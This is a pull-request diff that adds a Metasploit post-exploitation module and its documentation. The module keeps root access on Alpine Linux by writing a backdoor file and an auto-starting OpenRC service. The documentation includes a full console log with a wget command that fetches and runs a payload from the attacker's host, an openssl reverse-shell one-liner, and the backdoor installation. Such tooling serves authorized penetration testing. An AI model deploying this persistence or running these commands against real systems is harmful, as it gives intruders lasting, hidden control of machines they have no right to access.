Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
114 changes: 114 additions & 0 deletions documentation/modules/exploit/linux/persistence/init_openrc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
## Vulnerable Application

This module will create a service on the box via OpenRC, and mark it for auto-restart.
We need enough access to write service files and potentially restart services.

Verified against alpine 3.21.2

## Verification Steps

1. Exploit a box and get a **root** session
2. `use exploit/linux/persistence/init_openrc `
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`

## Options

### SERVICE

The name of the service to create. If not chosen, a random one is created.

### PAYLOAD_NAME

The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.

## Scenarios

### Alpine Linux 3.21.2

Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though

Initial access vector via web delivery

```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/root) > getuid
Server username: root
(Meterpreter 1)(/root) > sysinfo
Computer : alpine3.21.2
OS : (Linux 6.12.12-0-virt)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/root) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit
[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)'
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) >
[*] Started reverse double SSL handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and openrc based
[*] Writing backdoor to /tmp//rljkrbglMY
[*] Writing service: /etc/init.d/GpdAgZVBGWq
[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ...
[*] Enabling service
[+] Starting service
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc
[*] Command: echo duVbKHsRwQ5D05J7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "duVbKHsRwQ5D05J7\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500
```
157 changes: 157 additions & 0 deletions modules/exploits/linux/persistence/init_openrc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/service_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Init OpenRC Persistence',
'Description' => %q{
This module will create a service on the box via OpenRC, and mark it for auto-restart.
We need enough access to write service files and potentially restart services.
Verified against alpine 3.21.2
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => ['unix', 'linux'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2007-04-05' # openrc release date
)
)

register_options(
[
OptString.new('SERVICE', [false, 'Name of service to create']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
]
)
register_advanced_options(
[
OptBool.new('EnableService', [true, 'Enable the service', true])
]
)
end

def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')

return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')

CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
end

def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
backdoor = write_shell(writable_dir)

path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]

openrc(path, file)
end

def write_shell(path)
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")

if payload.arch.first == 'cmd'
write_file(backdoor, payload.encoded)
chmod(backdoor, 0o755)
else
upload_and_chmodx(backdoor, generate_payload_exe)
end

@clean_up_rc << "rm #{backdoor}\n"

fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
backdoor
end

def openrc(backdoor_path, backdoor_file)
if payload.arch.first == 'cmd'
script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command=/bin/sh
command_args="#{backdoor_path}/#{backdoor_file}"
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
else
script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command="#{backdoor_path}/#{backdoor_file}"
command_args=""
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
end

service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
service_path = "/etc/init.d/#{service_filename}"
vprint_status("Writing service: #{service_path}")
begin
upload_and_chmodx(service_path, script)
@clean_up_rc << "rm #{service_path}\n"
rescue Rex::Post::Meterpreter::RequestError
print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
end

fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)

if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("rc-update add '#{service_filename}'")
@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
end

print_good('Starting service')
cmd_exec("'#{service_path}' start")
end
end